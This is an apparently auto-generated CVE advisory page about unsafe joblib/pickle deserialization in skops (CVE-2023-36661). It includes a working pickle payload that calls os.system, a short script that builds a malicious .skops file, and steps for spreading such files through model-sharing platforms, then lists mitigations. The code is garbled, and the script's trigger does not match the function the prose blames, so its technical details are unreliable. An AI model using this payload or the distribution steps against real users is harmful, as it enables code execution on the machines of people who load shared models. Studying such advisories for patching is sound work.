skops, Arbitrary Code Execution via Joblib Deserialization, CVE-2023-36661 (Critical)

Listen to this Post

How the CVE Works

The vulnerability in `skops.card.Card.get_model` arises due to unsafe deserialization via joblib.load(). When a non-ZIP file (e.g., a malicious `.skops` file) is passed, the function silently falls back to joblib.load(), which executes arbitrary Python code during deserialization. The `trusted` parameter is ignored, bypassing skops’ security checks. Attackers can craft a payload (e.g., pickle-based) to achieve remote code execution (RCE) when the victim loads the model.

DailyCVE Form

Platform: skops
Version: <1.0.0
Vulnerability: Arbitrary Code Execution
Severity: Critical
Date: 2023-06-15

Prediction: Patch by 2023-09-30

What Undercode Say

Analytics:

import joblib
payload = b"cos\nsystem\n(S'id'\ntR." Example pickle RCE
with open("malicious.skops", "wb") as f:
f.write(payload)
from skops.card import Card
card = Card("malicious.skops") Triggers RCE

Exploit:

  • Craft a malicious `.skops` file with pickle payload.
  • Distribute via model-sharing platforms.
  • Victim executes Card.get_model().

Protection from this CVE:

  • Disable `joblib` fallback in Card.get_model.
  • Validate file headers before deserialization.
  • Use `skops.load(trusted=[])` exclusively.

Impact:

  • Full system compromise via RCE.
  • Bypasses skops’ security model.
  • Silent exploitation via shared models.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top